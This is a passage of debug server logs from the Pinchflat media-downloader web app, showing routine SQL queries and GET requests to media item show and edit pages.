s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.444 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.444 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.445 [info] Sent 200 in 3ms 15:38:01.445 [info] Sent 200 in 3ms 15:38:01.700 [info] GET /sources/2/media/12001 15:38:01.700 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12001", "source_id" => "2"} Pipelines: [:browser] 15:38:01.700 [debug] QUERY OK source="media_items" db=0.2ms idle=257.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 15:38:01.701 [debug] QUERY OK source="sources" db=0.2ms idle=257.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:38:01.701 [debug] QUERY OK source="tasks" db=0.3ms idle=257.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12001] 15:38:01.702 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=257.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1526, 1529, 1539, 1541, 1551, 1554, 1564, 1567, 1577, 1580, 1590, 1593, 1602, 1605, 1616, 1619, 1633, 1636, 1651, 1654, 1668, 1671, 1686, 1689, 1703, 1706, 1720, 1723, 1735] 15:38:01.703 [debug] QUERY OK source="settings" db=0.0ms idle=258.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.703 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.704 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.704 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:38:01.708 [info] Sent 200 in 7ms 15:38:02.200 [info] GET /sources/2/media/11511/edit 15:38:02.201 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "11511", "source_id" => "2"} Pipelines: [:browser] 15:38:02.201 [debug] QUERY OK source="media_items" db=0.3ms idle=498.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 15:38:02.202 [debug] QUERY OK source="settings" db=0.1ms idle=498.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:02.202 [debug] QUERY OK source="settings" db=0.0ms idle=498.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:02.202 [debug] QUERY OK source="settings" db=0.0ms idle=498.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:02.203 [info] Sent 200 in 2ms 15:38:02.701 [info] GET /sources/3/media/10464/edit 15:38:02.701 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "10464", "source_id" => "3"} Pipelines: [:browser] 15:38:02.702 [debug] QUERY OK source="media_items" db=0.2ms idle=706.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10464] 15:38:02.702 [debug] QUERY OK source="settings" db=0.1ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:02.703 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:02.703 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:02.704 [info] Sent 200 in 2ms 15:38:27.957 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}